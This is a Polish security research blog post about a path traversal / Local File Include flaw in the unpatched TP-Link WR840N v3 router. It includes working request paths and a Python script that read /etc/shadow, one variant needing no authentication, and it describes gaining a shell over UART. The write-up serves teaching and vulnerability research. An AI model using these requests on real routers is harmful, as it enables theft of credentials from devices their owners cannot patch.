[PL] TP-Link WR840N v3 #1 – Local File Include

Z chwilą pisania tej publikacji wyszukiwarka Shodan.io podaje informację o znalezieniu ponad 13 tysięcy urządzeń zawierających frazę „TP-Link WR840N”. Prawie 4 tysiące urządzeń zawiera frazę „TP-Link TL-WR840N”. Nagle okazuje się, że korzystasz ze sprzętu, który posiada zdiagnozowane błędy bezpieczeństwa a aktualizacji firmware nie będzie ponieważ model ten dawno jest już wycofany z produkcji. Jeśli go gdzieś używasz to cóż, pozostaje Ci w takim razie zmiana routera na jakiś nowszy i bezpieczniejszy. To tyle jeśli chodzi o łatanie znalezionych podatności 😉

Sytuacja jednak wygląda zgoła inaczej kiedy na ten sam temat spojrzysz okiem bezpiecznika IT. Jeśli chciałbyś zagłębić się w tematykę IoT pod kątem bezpieczeństwa lub po prostu postrzelać sobie do żywego sprzętu to na początek wystarczy Ci jeden, sprawny niekoniecznie nowy router, który z powodzeniem możesz nabyć stosunkowo niskim kosztem na popularnych sklepach internetowych. Dołączysz do tego podstawy programowania, znajomości linuksa (lub innego systemu, który lubisz), protokołu HTTP oraz wiedzę z zakresu podatności w aplikacjach webowych i możesz zaczynać.

Artykuł ten jest wstępem a zarazem częścią kilku publikacji traktujących o bezpieczeństwie routera TL-WR840N, który potrafi robić o wiele więcej zaskakujących rzeczy niż te zaimplementowane przez producenta. Na pierwszy ogień idą podatności typu Local File Include, później zrobimy sobie też mały wstęp o komunikacji przez UART. W dalszej kolejności będzie (mam taką nadzieję) jeszcze ciekawiej ponieważ znajdziemy buga Os Command Injection w dość śmiesznym miejscu.

Rekonesans Panelu Administratora

Na samym początku dobrze jest poznać system jak działa tak więc logujemy się do panelu fabrycznym loginem i hasłem i eksplorujemy. W badanej wersji routera jest trochę tych formatek do sprawdzenia. Zwróć uwagę na pola, które przyjmują wartości tekstowe 😉

Local File Include

Rozpocznijmy naszą zabawę od sprawdzenia jakie pliki są ładowane przy generowaniu strony:

Są to między innymi pliki takie jak skrypty javascript, kaskadowe arkusze stylów czy obrazki. Co się jednak stanie, jeśli zamienimy się w przeglądarkę i zapytamy serwer HTTP o plik z inną nazwą?

Request URL: http://192.168.0.1/dynaform/etc/shadow

Oczywiście otrzymamy kod błędu 404 ponieważ taki plik nie istnieje w podanej strukturze aplikacji.. 

Spróbujmy zatem posłużyć się atakiem typu „Path Traversal”, który jest używany w momencie kiedy badana aplikacja pozwala na nieautoryzowany dostęp do innych zasobów (plików czy katalogów) do których użytkownik nie powinien mieć dostępu. 

Aktualizujemy nasze zapytanie dodając do ścieżki odpowiednio ciągi znaków „../”. Jeśli badana aplikacja webowa będzie podatna na wyżej omawiany atak oraz podamy prawidłową ścieżkę do zasobu – serwer HTTP powinien zwrócić całą zawartość pliku.

Request URL: http://192.168.0.1/dynaform/../../etc/shadow

Test przeprowadzimy za pomocą poniższego skryptu w Pythonie:

from http.client import HTTPConnection
from sys import argv

host = argv[1]
session = argv[2]

c = HTTPConnection(host)

headers = {
    'Authorization': 'Basic%20' + session + '%3D',
    'Host': host,
    'Referer': 'http://' + host
}

c.request('GET', "/dynaform/../../etc/shadow", headers=headers)
res = c.getresponse()
data = res.read()

print(data)

Parametry skryptu to kolejno adres IP routera oraz identyfikator sesji (hasło administratora zakodowane w systemie Base64 bez znaku równości):

Wynik działania skryptu – zawartość pliku „shadow”

Ekstra! Mamy błąd typu „Local File Include” pozwalający odczytywać różne dane z badanego urządzenia, do których normalnie nie mielibyśmy dostępu. W pobranym przez nas pliku „shadow” mieszczą się loginy i hasła użytkowników systemu. Za chwilę dowiesz się do czego będziemy mogli wykorzystać te dane.

Local File Include bez uwierzytelnienia

Zostańmy jeszcze na chwilę przy naszej znalezionej podatności. Zawartość plików takich jak obrazy graficzne, kaskadowe arkusze stylów czy skrypty javascript może być pobrana jeśli w nagłówku zapytania zostanie przesłane hasło do panelu administratora w postaci zakodowanej. Istnieje jednak sposób na odczytanie plików konfiguracyjnych bez uwierzytelnienia 😉

Przeglądarka pobiera z serwera plik „StatusHelpRpm.htm”

Na obrazku powyżej widzisz request, w którym przeglądarka pobiera plik typu HTML,  gdzie zawarte są informacje objaśniające działanie różnych opcji w menu.

Okazuje się, że można pobrać zawartość pliku „StatusHelpRpm.htm” z serwera bez żadnego uwierzytelnienia. Jeśli więc zmodyfikujemy URL w sposób analogiczny do przedstawionego w skrypcie powyżej to będziemy mogli bez uwierzytelnienia odczytywać także inne pliki z routera.

GET /help/../../etc/shadow

W każdym z przeprowadzonych testów jest wymagany nagłówek „Referer”.

UART

Wracamy do danych zawartych w pliku „shadow”. Niestety nie posłużą nam one do zalogowania się na router przez SSHD czy Telnet ponieważ te usługi nie działają  w podstawowej konfiguracji. Do czego w takim razie login i hasło administratora mogą się przydać? 

Wiele routerów lub też innych urządzeń sieciowych wyposażonych jest pewien układ scalony o nazwie UART (Universal asynchronous Receiver Transmitter). Układ ten pozwala na fizyczną komunikację pomiędzy routerem a komputerem i tutaj właśnie będą potrzebne dane logowania z pliku „shadow”. Po prawidłowej konfiguracji, podłączeniu oraz logowaniu powinieneś dostać shell’a na Twoim badanym routerze 😉

Obrazek poniżej przedstawia prawidłowe zestawienie takiego połączenia. Widoczny powitalny baner „BusyBox v1.01” jest programem, który łączy podstawowe funkcje narzędzi Uniksa w jeden plik wykonywalny co daje użytkownikowi pewne (lecz dosyć ograniczone) możliwości pracy w terminalu.

Po zalogowaniu do systemu operacyjnego przez UART

Cóż, niestety w tej publikacji zabrakło na pewno dogłębnego spojrzenia na UART. Zasługuje on na oddzielny, dużo obszerniejszy artykuł, który niebawem nastąpi.

Kolejna dawka analizy związanej z routerem TL-WR840Nv3 będzie dostępna na dniach.

PS. Pytanie dla ambitnych: jakie masz pomysły na złamanie pliku „shadow” ? 😉

research: Mateusz Wójcik <@hesterhawk01>, support: Mateusz Świerzewski

4 Responses

  1. Fajnie mieć świadomość, że w dziurkę w TP-Linku może zajrzeć nie tylko jakiś super h4x0r, a niemal każdy. No i przystępnie napisane. Dzięki za artykuł!

  2. Mega dzięki za przeczytanie! 😉 To prawda. W urządzeniach tego typu można znaleźć wiele podobnych “kwatków”. Zabawy wystarczy dla wszystkich: od błędów na styku web’a aż po ‘stack buffer overflows’.

    Pozdro!

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to Top